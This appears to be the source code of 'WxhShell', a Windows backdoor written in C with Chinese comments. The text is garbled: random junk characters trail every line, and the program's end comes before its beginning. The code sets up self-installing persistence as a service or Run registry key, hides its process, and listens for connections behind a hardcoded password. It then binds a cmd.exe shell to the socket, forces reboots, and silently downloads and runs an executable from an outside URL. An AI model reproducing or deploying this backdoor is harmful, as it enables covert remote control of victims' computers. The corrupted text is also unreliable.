    if(Boot(SHUTDOWN)) Jo5Bmh0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YM}a>o  
    else { F]ao Ty  
    closesocket(wsh); h?mDtMCw2  
    ExitThread(0); S,m(  
    } 5\+*ml  
    break; D*M `qPX~  
    } EoAr}fI  
  // 获取shell Q{l,4P  
  case 's': { bA^uzE  
    CmdShell(wsh); _~<sb,W  
    closesocket(wsh); e"E8BU  
    ExitThread(0); $.PRav  
    break; RM;a]g*  
  } g#5R|| r  
  // 退出 K./qu^+k  
  case 'x': { \|HEe{nA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *~#I5s\s!  
    CloseIt(wsh); my (@~'  
    break; QAs)zl0  
    } R#T-o,m  
  // 离开 >qeDb0  
  case 'q': { (RddR{mX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lvW T  
    closesocket(wsh); nK>CPqB^(  
    WSACleanup(); YX$(Sc3.6  
    exit(1); 1}(22Q;  
    break; TeHJj`rdAU  
        } scg&"s  
  } V]7/hN-Y}  
  } B7%K}|Qg  
4ud(5m;Rle  
  // 提示信息 nu0pzq\6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G+zhL6]F  
} )bUnk +_  
  } orGMzC2  
={g)[:(C.  
  return; )UzJ2Pa<+_  
} rzf Lp  
L'+bVP{L  
// shell模块句柄 ] ZV[}7I.  
int CmdShell(SOCKET sock) [`n_> p!  
{ =U]9>  
STARTUPINFO si; 5vx 4F f  
ZeroMemory(&si,sizeof(si)); msl.{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W A/dt2D|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A@A8xn%  
PROCESS_INFORMATION ProcessInfo; zp}7p~#k^  
char cmdline[]="cmd"; 6S`_L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \<7Bx[/D4  
  return 0; / Hr|u  
} B2;P%B  
uo"<}>iJ  
// 自身启动模式 1&w%TRC2x  
int StartFromService(void) 7^gO>2~  
{ jPWONz(#  
typedef struct hb`9Vn\-E  
{ \|PiQy*_?  
  DWORD ExitStatus; Z@bgJL8 3  
  DWORD PebBaseAddress; -CvmZ:n  
  DWORD AffinityMask; dbf<k%i6  
  DWORD BasePriority; c8uaZvfW  
  ULONG UniqueProcessId; wWl ?c  
  ULONG InheritedFromUniqueProcessId; ;s +/'(*  
}   PROCESS_BASIC_INFORMATION; x3+ -wv  
=o#Z?Bn5  
PROCNTQSIP NtQueryInformationProcess; \s=r[0tj!  
&jDN6n3z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zL"e.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <.h7xZ  
WVP?Ie8  
  HANDLE             hProcess; "N+4TfXy  
  PROCESS_BASIC_INFORMATION pbi; s)-An( Uw  
{ DYY9MG8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S?688  
  if(NULL == hInst ) return 0; 5CI {&E  
U0&myj 8L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Ewh:IM-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %' DO FiU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R"cQyG4  
iOiF kka  
  if (!NtQueryInformationProcess) return 0; 6n9/`D!  
kV'zA F v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *zdD4 I=  
  if(!hProcess) return 0; 4C;;V m4~  
Fb,*;M1'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -P;3BHS$T  
}U}zS@kI  
  CloseHandle(hProcess); .j4y0dh33  
72nZ`u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ChiIQWFE  
if(hProcess==NULL) return 0; <B6md i'R  
- Jaee,P  
HMODULE hMod; ZF7n]LgSc&  
char procName[255]; g QBS#NY  
unsigned long cbNeeded; T+Yv5l  
Cy-p1s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZF>:m>  
-d ,D!  
  CloseHandle(hProcess); [ja^Bhu  
Oo|JIr7i  
if(strstr(procName,"services")) return 1; // 以服务启动 b7.7@Ly y  
o/-RGLzAo  
  return 0; // 注册表启动 8m0*89HEu  
} j2G^sj"|  
]]|#+$ ~  
// 主模块 SdnnXEB7  
int StartWxhshell(LPSTR lpCmdLine) )Jt. Z^J<  
{ mm>l:M TF  
  SOCKET wsl; B- @bU@H  
BOOL val=TRUE; ag'hHFV  
  int port=0; @`[e1KQ  
  struct sockaddr_in door; k$$SbStD  
L?ZSfm2<  
  if(wscfg.ws_autoins) Install(); kFjv'[Y1N  
dA<%4_WZty  
port=atoi(lpCmdLine); }83 8F&  
.$\-{)  
if(port<=0) port=wscfg.ws_port; 2J=`"6c  
=%` s-[5b  
  WSADATA data; xP\s^]e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #$UwJB]_D  
onu G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d/  Lz"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5( <O?#P  
  door.sin_family = AF_INET; {IOc'W-C#2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -nGcm"'6F  
  door.sin_port = htons(port); 2TGND-(j  
-;cF)C--12  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2/3yW.C  
closesocket(wsl); GvtK=A$b  
return 1; `,AOxJ:$  
} '{WEyhaS  
>lIzeEW#  
  if(listen(wsl,2) == INVALID_SOCKET) { f r~Eb'8  
closesocket(wsl); O _9r-Zt^  
return 1; "rMfe>;FJ  
} p&I>xu8fl  
  Wxhshell(wsl); A.b^?k%I  
  WSACleanup(); )j2 #5`?"j  
B  W*8  
return 0; & %/p; ::A  
K~#?Y,}O  
} e6p3!)@P1  
sqhMnDn[  
// 以NT服务方式启动 M"*NV(".g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d'(n/9K  
{ WWSycH ?[  
DWORD   status = 0; tQ@7cjq8bA  
  DWORD   specificError = 0xfffffff; L9)gN.#  
y],op G6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "6C a{n1hk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q:kGJ xfaW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5& %M L  
  serviceStatus.dwWin32ExitCode     = 0; d5-Q}D,P  
  serviceStatus.dwServiceSpecificExitCode = 0; }"+"nf5h  
  serviceStatus.dwCheckPoint       = 0; e/hCYoS1n  
  serviceStatus.dwWaitHint       = 0; yr'-;-u  
Xc[ym  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IhzY7U)}T  
  if (hServiceStatusHandle==0) return; ou0TKE9 _  
OcUj_Zd  
status = GetLastError(); T^!Q(`*  
  if (status!=NO_ERROR) SE*;6&yL  
{ u>;aQtK~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r )~?5d  
    serviceStatus.dwCheckPoint       = 0; XHv m{z=  
    serviceStatus.dwWaitHint       = 0; 6n/=n%US  
    serviceStatus.dwWin32ExitCode     = status; L{~ ]lUo  
    serviceStatus.dwServiceSpecificExitCode = specificError; ft7M9<#v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n ^9?(a4u  
    return; TeuZVy8a  
  } v 8F{qT50  
62nmm/c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kz b-a$  
  serviceStatus.dwCheckPoint       = 0; ,m*HRUY  
  serviceStatus.dwWaitHint       = 0; 9+ Mj$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MP}-7UA#K  
} P, ZQ*Ju  
oaha5aWH  
// 处理NT服务事件,比如:启动、停止 >3&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (}F@0WYT^O  
{ SN)Czi#7  
switch(fdwControl) G\tN(%.f  
{ Pz*BuL <  
case SERVICE_CONTROL_STOP: >!Gq[i0  
  serviceStatus.dwWin32ExitCode = 0; : F3UJ[V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kYCm5g3u  
  serviceStatus.dwCheckPoint   = 0; V=fu[#<@Ig  
  serviceStatus.dwWaitHint     = 0; %@%rdrZ  
  { Q.9,W=<6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B Hp>(7,  
  } ] K&ca  
  return; H.M: cD:  
case SERVICE_CONTROL_PAUSE: xY)eU;*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !.%*Tp#k#  
  break; K"[jrvZ=  
case SERVICE_CONTROL_CONTINUE: =W2.Nc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #IGcQY  
  break; M &-p  
case SERVICE_CONTROL_INTERROGATE: K?M~x&Q  
  break; ThP~k9-  
}; 8Y%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2FdwX ,O.  
} Qxy ~ %;X  
 DEu0Z  
// 标准应用程序主函数 !0^4D=dO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CD`6R.  
{ c\[&IlM  
l9/}fMi  
// 获取操作系统版本 cq]0|\Vz  
OsIsNt=GetOsVer(); OLF6["0Rn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #k<l5x`  
{R(/Usg!=  
  // 从命令行安装 ZuWh gnp  
  if(strpbrk(lpCmdLine,"iI")) Install();  e+#Oj  
jCj8XM{c>  
  // 下载执行文件 _[8JSw7  
if(wscfg.ws_downexe) { >9XG+f66E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %;]/Z%!  
  WinExec(wscfg.ws_filenam,SW_HIDE); rc:UG "[  
} zt]8F)l@  
9'Z{uHi%  
if(!OsIsNt) { !M}-N  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?!F<xi:  
HideProc(); +?t& 7={~  
StartWxhshell(lpCmdLine); & :W6O)uY  
}  W;yg{y   
else =}%:4  
  if(StartFromService()) aiX4;'$x!  
  // 以服务方式启动 f dJg7r*  
  StartServiceCtrlDispatcher(DispatchTable); LDw.2E  
else zZ9Ei-Q  
  // 普通方式启动 2N-p97"g  
  StartWxhshell(lpCmdLine); k^JgCC+  
.FYRi_Zd  
return 0; r.@UH-2c  
} q~18JB4WPJ  
s,C>l_4-  
e7iQG@i7  
6t <[-  
=========================================== X,M!Tp  
~ D/Lo$K"  
$0{ h Uex  
$h8?7:z;um  
Y$^vA[]c>  
~y Dl & S  
" |VE.khq#  
\p\p~FVS  
#include <stdio.h> 1 h162  
#include <string.h> <Qbqxw  
#include <windows.h> u6E ze4u  
#include <winsock2.h> R))4J  
#include <winsvc.h> ~yngH0S$[b  
#include <urlmon.h> Zq: }SU  
W }Ll)7(|T  
#pragma comment (lib, "Ws2_32.lib") (0_]=r=q  
#pragma comment (lib, "urlmon.lib") jA@ uV,w  
$rjm MSxi  
#define MAX_USER   100 // 最大客户端连接数 bQ?Vh@j(M  
#define BUF_SOCK   200 // sock buffer m-[xrVV  
#define KEY_BUFF   255 // 输入 buffer 6 P9#6mZ  
[$>@f{:  
#define REBOOT     0   // 重启 ,DW q  
#define SHUTDOWN   1   // 关机 Rc@lGq9  
Z@JTZMN_  
#define DEF_PORT   5000 // 监听端口 %"E!E1_Sv  
KKg\n^  
#define REG_LEN     16   // 注册表键长度 :[PA.Upi  
#define SVC_LEN     80   // NT服务名长度 hOqNZ66{  
-e51 /lhpd  
// 从dll定义API >_\]c-~<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2c,w 4rK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q^Vch(`&P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2nFr?Y3g,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ( Q&jp!WU  
isnpSN"z  
// wxhshell配置信息 C{-Dv-<A>  
struct WSCFG { h^."wv  
  int ws_port;         // 监听端口 zEE:C|50  
  char ws_passstr[REG_LEN]; // 口令 'L1yFv  
  int ws_autoins;       // 安装标记, 1=yes 0=no djdSD  
  char ws_regname[REG_LEN]; // 注册表键名 D+BflI~9mP  
  char ws_svcname[REG_LEN]; // 服务名 j9%vw.3b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uW(Ngcpr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C3<_0eI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w(M i?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6!U~dt#a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E_z,%aD[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ! OVi\v 'm  
4/x.qoj  
}; wqE2n  
:K \IS`  
// default Wxhshell configuration \u/=?b  
struct WSCFG wscfg={DEF_PORT, N>j*{]OY+{  
    "xuhuanlingzhe", <qoPBm])  
    1, c!$~_?]  
    "Wxhshell", 1JGww]JZo  
    "Wxhshell", )Ps<u-V  
            "WxhShell Service", ?a?] LIE8  
    "Wrsky Windows CmdShell Service", Pl|*+g  
    "Please Input Your Password: ", t/]za4w/  
  1, X-"0Zc  
  "http://www.wrsky.com/wxhshell.exe", mL@7,GD  
  "Wxhshell.exe" "+&@iL  
    }; r_V^sX  
^'vWv C  
// 消息定义模块 &9n=!S'Md  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |L)qH"Eo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lzz68cT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rN~V^k  
char *msg_ws_ext="\n\rExit."; tgrZs8?  
char *msg_ws_end="\n\rQuit."; OH5#.${O  
char *msg_ws_boot="\n\rReboot..."; [!#;QQ&M  
char *msg_ws_poff="\n\rShutdown..."; ,ce$y4%(  
char *msg_ws_down="\n\rSave to "; Nu; 9  
y|#Fu  
char *msg_ws_err="\n\rErr!"; \D! I"mr  
char *msg_ws_ok="\n\rOK!"; 1Dm$:),^T}  
HxShNU  
char ExeFile[MAX_PATH]; A^pRHbRq  
int nUser = 0; V#PT.,Xa.  
HANDLE handles[MAX_USER]; 0mT.J~}1v  
int OsIsNt; .18MMzdN  
`$VnB  
SERVICE_STATUS       serviceStatus; #fF';Y7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hTAZGV(  
A6F/w  
// 函数声明 qEPC]es|T  
int Install(void); LkJ-M=y  
int Uninstall(void); )}\J    
int DownloadFile(char *sURL, SOCKET wsh); n6GB2<y  
int Boot(int flag); rdm&YM`J  
void HideProc(void); ,HW[l.v  
int GetOsVer(void); eOd'i{f@F  
int Wxhshell(SOCKET wsl); mLeK7?GL  
void TalkWithClient(void *cs); VSm{]Z!x  
int CmdShell(SOCKET sock); GplEad $  
int StartFromService(void); dMH}%f5;1  
int StartWxhshell(LPSTR lpCmdLine); ]*AQT7PH  
!2g*=oY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oSs~*mf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !o`h*G-x  
`c_Wk] i  
// 数据结构和表定义 {X&H  
SERVICE_TABLE_ENTRY DispatchTable[] = ,-Yl%R.W=  
{ O ;B[ZMV  
{wscfg.ws_svcname, NTServiceMain}, }xy[ &-dh  
{NULL, NULL} 6.QzT(  
}; @w[HXb  
bjs{_?  
// 自我安装 V)Y#m/$`  
int Install(void) )m(?U  
{ R-Z)0S'ZR  
  char svExeFile[MAX_PATH]; $)M 5@KT  
  HKEY key; 7brC@+ZD  
  strcpy(svExeFile,ExeFile); RZ:= ';  
&B ^LaRg  
// 如果是win9x系统,修改注册表设为自启动 -xU4s  
if(!OsIsNt) { ,tHV H7[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6t`cY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ocr.wU@  
  RegCloseKey(key); _2S( *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ft 4(^|~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 32,Y 3!%  
  RegCloseKey(key); WQYw@M~4Q!  
  return 0; e[L%M:e9U  
    } IM~2=+  
  } [Xo[J?w],2  
} eq$.np  
else { |Skhx9};  
kG3m1: :  
// 如果是NT以上系统,安装为系统服务 Zm/I&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gmh6|Dsg  
if (schSCManager!=0) 2lRE+_qz  
{ 7,Q>>%/0P  
  SC_HANDLE schService = CreateService :^992]EBEj  
  ( GA"zO,  
  schSCManager,  F]KAnEf  
  wscfg.ws_svcname, xU;;@9X  
  wscfg.ws_svcdisp, IpI|G!Y,  
  SERVICE_ALL_ACCESS, qv$m5CJvK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]F*fQ Ncjy  
  SERVICE_AUTO_START, 6{TUs>~  
  SERVICE_ERROR_NORMAL, jB%aHUF;  
  svExeFile, - 1tiy.^$F  
  NULL, UrEfFtH'  
  NULL, rl](0"Y0 t  
  NULL, 6Y&`mgMF'  
  NULL, P jh3=Dr  
  NULL 5Z*6,P0  
  ); % (x9~"  
  if (schService!=0) YS+|n%?  
  { zqa7!ky  
  CloseServiceHandle(schService); FWDAG$K@0  
  CloseServiceHandle(schSCManager); C{U"Nsu+1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'o]8UD(  
  strcat(svExeFile,wscfg.ws_svcname); zP|^) h5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y4I;-&d's  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 58o'Q  
  RegCloseKey(key); jLv8K  
  return 0; 4S3uzy%  
    } )V?:qCuY>  
  } N)^` 15w  
  CloseServiceHandle(schSCManager); {E$smX  
} w>h\643  
} Ni-@El99  
M)j.Uu  
return 1; swLrp 74  
} YGf<!  
cMp#_\B  
// 自我卸载 8a3h)R  
int Uninstall(void) 6h:2,h pE  
{ Av_JcH  
  HKEY key; g! DJ W  
YzVhNJWpw  
if(!OsIsNt) { ![j?/376  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IcP\#zhEv  
  RegDeleteValue(key,wscfg.ws_regname); &*8_w-  
  RegCloseKey(key); 6#(==}Sm+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V(3=j)#  
  RegDeleteValue(key,wscfg.ws_regname); 'CA{>\F$F+  
  RegCloseKey(key); mL]a_S{H  
  return 0; &Na,D7A:3I  
  } r: M>/Z/  
} 2nkymEPu  
} $u P'>  
else { 85Red~-M  
,v$Q:n|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2$s2u;  
if (schSCManager!=0) =C 7WQ  
{ LeaJ).Maw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FDCc?>,o  
  if (schService!=0) On-zbE  
  { X_aC$_b  
  if(DeleteService(schService)!=0) { Yh2[ nF_  
  CloseServiceHandle(schService); G[$g-NU+  
  CloseServiceHandle(schSCManager); v,^W& W.  
  return 0; Z|$M 9E  
  } x ?24oO  
  CloseServiceHandle(schService); 1U6 z2i+y  
  } _kXq0~  
  CloseServiceHandle(schSCManager); K$/&C:,Q  
} &$g{i:)Z  
} ;7E c'nC4  
2xK v;  
return 1; V;29ieE!  
} 3>QkO.b  
#%7)a;'  
// 从指定url下载文件 (5a:O (\r  
int DownloadFile(char *sURL, SOCKET wsh) dTZ$92<  
{ c8 Je&y8  
  HRESULT hr; ?/|KM8  
char seps[]= "/"; '8w>=9Xl  
char *token; AX;!-|bW  
char *file; I>JBGR`j  
char myURL[MAX_PATH]; F<TIZ^gFP  
char myFILE[MAX_PATH]; #ADm^UT^  
vb`R+y@  
strcpy(myURL,sURL); Ake@krh>$  
  token=strtok(myURL,seps); SNtk1pG>  
  while(token!=NULL) <NWq0 3:&  
  { ZXl_cq2r  
    file=token; 2"6bz^>}  
  token=strtok(NULL,seps); ]Bj2;<@y  
  } LS]0p#  
E.N  
GetCurrentDirectory(MAX_PATH,myFILE); #f<3[BLx  
strcat(myFILE, "\\"); S`8Iu[Ma  
strcat(myFILE, file); 76cLf~|d~  
  send(wsh,myFILE,strlen(myFILE),0); 50""n7I<%  
send(wsh,"...",3,0); H)+QkQb}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qWM+!f  
  if(hr==S_OK) L yH1tF  
return 0; @ Fkhida  
else rld8hFj  
return 1; VYjt/\ Z  
Xz`0nU  
} "S H=|5+  
D$N;Qb  
// 系统电源模块 l"-Z#[  
int Boot(int flag) o$Ju\(Y$<+  
{ m~0Kos%^*b  
  HANDLE hToken; ! k 1 Ge+  
  TOKEN_PRIVILEGES tkp; @;\0cE n>  
Q_>W!)p Gz  
  if(OsIsNt) { R,ZG?/#uM9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k(he<-GF\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jn(%v]  
    tkp.PrivilegeCount = 1; R.!.7dO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; % Ai' 6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _&%FGcAS  
if(flag==REBOOT) { T@A Qe[U'v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *:"@  
  return 0; mv 7W03  
} dXfLN<nD>U  
else { 0j;q^>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yd=b!\}WJ  
  return 0; *3)kr=x  
} +PS jBO4!  
  } _b$ yohQ  
  else { M|NQoQ8q  
if(flag==REBOOT) { .$@+ / @4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dIfy!B"  
  return 0; Y_K W9T_  
} NSM7n= *nh  
else { @VPmr}p:{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u*/+cT  
  return 0; uP+VS>b  
} +Qf}&D_  
} e3ce?gk  
Lw2VdFi>E&  
return 1; rr,w/[  
} \<ysJgqUG  
^e =G} N^  
// win9x进程隐藏模块 gB~^dv {  
void HideProc(void) ?~b(iZ  
{ p6Z|)1O]  
-We9 FO~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HItNd  
  if ( hKernel != NULL ) A,BYi$  
  { z0OxJe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c_8<N7 C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A; wT`c  
    FreeLibrary(hKernel); UWidT+'Sa  
  } J ZkQ/vp(  
LT"H -fTgs  
return; K_@?Q@#YhR  
} :AS`1\ C  
K8R>O *~  
// 获取操作系统版本 -Caj>K  
int GetOsVer(void) JQ 6M,O  
{ hGkJ$QT  
  OSVERSIONINFO winfo; kRc+OsY9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xx(C$wCJ  
  GetVersionEx(&winfo); R<U]"4CBx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S'5Zy} +x  
  return 1; %IZd-N7i^  
  else uKXNzz  
  return 0; nwh@F1|  
} ^sB0$|DU  
3H`{ A/r  
// 客户端句柄模块 vENf3;o0  
int Wxhshell(SOCKET wsl) mf)+ 5On  
{ [orL.D]  
  SOCKET wsh; [iEz?1.,  
  struct sockaddr_in client; S>r",S  
  DWORD myID; >=|p30\b  
;0Pv49q  
  while(nUser<MAX_USER) nQoQNB  
{ J|].h  
  int nSize=sizeof(client); ?*%_:fB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |/vJ+aKq  
  if(wsh==INVALID_SOCKET) return 1; ykx^RmD`~  
marZA'u%B1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z Cjw)To(  
if(handles[nUser]==0) U2A 82;Z  
  closesocket(wsh); L-!1ybB^  
else S YDE`-  
  nUser++; r:;.?f@  
  } F,{mF2U*$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s<)lC;#e  
Be=rBrI>  
  return 0; XS">`9o!  
} [d8Q AO1;)  
RGE(#   
// 关闭 socket {X&lgj  
void CloseIt(SOCKET wsh) 80wzn,o S  
{ &8z<~q  
closesocket(wsh); d.^g#&h  
nUser--; (XQuRL<X  
ExitThread(0); eM:J_>7t  
} Iz5NA0[=2  
_BmObXOp.  
// 客户端请求句柄 Ph1XI&us9  
void TalkWithClient(void *cs) =i&,I{3  
{ 'Vo8|?.WhX  
6eB;  
  SOCKET wsh=(SOCKET)cs; n+Kv^Y`qxO  
  char pwd[SVC_LEN]; 52dD(  
  char cmd[KEY_BUFF]; ylKK!vRHT  
char chr[1]; v$W[(  
int i,j; J6AHc"k.  
`(sb  
  while (nUser < MAX_USER) { R<Lf>p>_  
`daqzn  
if(wscfg.ws_passstr) { iU;e!\A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ||_hET  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m|;(0 rft  
  //ZeroMemory(pwd,KEY_BUFF); -juG[zn  
      i=0; /,I cs  
  while(i<SVC_LEN) { .mt%8GM  
|zYOCDFf  
  // 设置超时 o)/Pr7Qn  
  fd_set FdRead; 4=xi)qF/@  
  struct timeval TimeOut; kkF)Tro\  
  FD_ZERO(&FdRead); ]:59c{O  
  FD_SET(wsh,&FdRead); ^ RA'E@ "  
  TimeOut.tv_sec=8; rNii,_  
  TimeOut.tv_usec=0; FM >ae-L-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [d6!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b}3"v(  
e "A"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yZ|"qP1  
  pwd=chr[0]; .h7s.p?  
  if(chr[0]==0xd || chr[0]==0xa) { g[3LPKQ  
  pwd=0; ]R#:Bq!F  
  break; ~ELMLwn.  
  } qW0:q.   
  i++; sQvRupYRO  
    } :oP LluW*  
:TH cI;PG8  
  // 如果是非法用户,关闭 socket tcuwGs>_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U]iI8c  
} QO/0VB42  
50W+!'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ["Ltqgx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2T~cOH;T  
 ?pTX4a&>  
while(1) { D(#f`Fj;  
G@[8P?M=Z  
  ZeroMemory(cmd,KEY_BUFF);  5&&4-  
PgWWa*Ew  
      // 自动支持客户端 telnet标准   9CY{}g  
  j=0; #) aLD0p  
  while(j<KEY_BUFF) { $*fJKR_N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ae+)RBpc  
  cmd[j]=chr[0]; *1b|j|5v  
  if(chr[0]==0xa || chr[0]==0xd) { 9=%zdz2_S  
  cmd[j]=0; BBB@M  
  break; vk& gR  
  } {LO Pm1K8Y  
  j++; r9i? H  
    } %l F*g  
H5=kDkb  
  // 下载文件 5i!Q55Yv=,  
  if(strstr(cmd,"http://")) { 3 !"N;Q"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9\?OV @  
  if(DownloadFile(cmd,wsh)) B`~EA] d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Xk!wJ  
  else I&;>(@K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .f\LzZ-I:  
  } 1i76u!{U  
  else { 1- KNXGb'  
KA5)]UF`l  
    switch(cmd[0]) { gg'1q3OjM  
  ~VGnE:  
